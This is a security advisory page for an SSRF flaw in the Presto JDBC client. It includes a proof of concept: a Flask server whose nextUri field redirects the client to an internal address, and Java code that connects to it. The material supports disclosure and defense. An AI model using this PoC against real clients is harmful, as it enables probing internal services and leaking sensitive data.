GHSA-86q5-qcjc-7pv4 Presto JDBC Server-Side Request Forgery by nextUri

Not scored Published

A malicious Presto server can trigger SSRF in the JDBC client, allowing attackers to access internal services and leak sensitive data.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
None listed

What is GHSA-86q5-qcjc-7pv4?

GHSA-86q5-qcjc-7pv4 is a server-side request forgery vulnerability in com.facebook.presto:presto-jdbc, published on 3 Oct 2023. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Summary

Presto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan.

Details

The Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF.

For unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.

The relevant code is in file path /presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java and function advance .

The flowchart is as follows:

<img src="https://s2.loli.net/2023/09/18/gvUZ2rT7w3Okbde.png" alt="presto_jdbc_ssrf_2.png" style="zoom:50%;" />

PoC

Running an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:

from flask import Flask, Response

app = Flask(__name__)

@app.route(&#39;/v1/statement&#39;, methods=[&#39;POST&#39;])
def next_uri_to_interal_server():
    data = &#39;{&#34;id&#34;:&#34;test_id&#34;,&#34;infoUri&#34;:&#34;whatever&#34;,&#34;nextUri&#34;:&#34;http://127.0.0.1:8888&#34;,&#34;stats&#34;:{&#34;state&#34;:&#34;QUEUED&#34;,&#34;queued&#34;:true,&#34;scheduled&#34;:false,&#34;nodes&#34;:0,&#34;totalSplits&#34;:0,&#34;queuedSplits&#34;:0,&#34;runningSplits&#34;:0,&#34;completedSplits&#34;:0,&#34;cpuTimeMillis&#34;:0,&#34;wallTimeMillis&#34;:0,&#34;queuedTimeMillis&#34;:0,&#34;elapsedTimeMillis&#34;:0,&#34;processedRows&#34;:0,&#34;processedBytes&#34;:0,&#34;peakMemoryBytes&#34;:0,&#34;peakTotalMemoryBytes&#34;:0,&#34;peakTaskTotalMemoryBytes&#34;:0,&#34;spilledBytes&#34;:0},&#34;warnings&#34;:[]}&#39;
    return Response(data, content_type=&#39;application/json; charset=utf-8&#39;, status=200)

if __name__ == &#39;__main__&#39;:
    app.run(host=&#34;0.0.0.0&#34;,port=8000)

Connecting to the malicious server using JDBC:

String url = &#34;jdbc:presto://&lt;ip&gt;:&lt;port&gt;&#34;;
Properties properties = new Properties();
properties.setProperty(&#34;user&#34;, &#34;root&#34;);
try {
    Connection connection = DriverManager.getConnection(url, properties);
    Statement stmt = connection.createStatement();
    ResultSet res = stmt.executeQuery(&#34;show catalogs&#34;);
    while(res.next()) {
        System.out.println(res.getString(1));
    }
} catch (Exception e) {
    e.printStackTrace();
}

Pwned!

Impact

When the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan.

Vulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance

Which versions are affected by GHSA-86q5-qcjc-7pv4?

2 open source packages ship an affected version, including com.facebook.presto:presto-jdbc.

PackageAffectedFixed in
com.facebook.presto:presto-jdbc MavenAll versions to 0.283None
com.facebook.presto:presto-jdbc MavenAll versions to 0.283None

How do I fix GHSA-86q5-qcjc-7pv4?

No fix has been published for GHSA-86q5-qcjc-7pv4 yet. Limit exposure of the affected software until one is available.

Upgrade, and send outbound requests through an allow-list that blocks internal addresses. More about Server-side request forgery.

Is GHSA-86q5-qcjc-7pv4 being exploited?

There is no known exploitation of GHSA-86q5-qcjc-7pv4 in the wild and no public exploit code.

Sources

Is GHSA-86q5-qcjc-7pv4 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free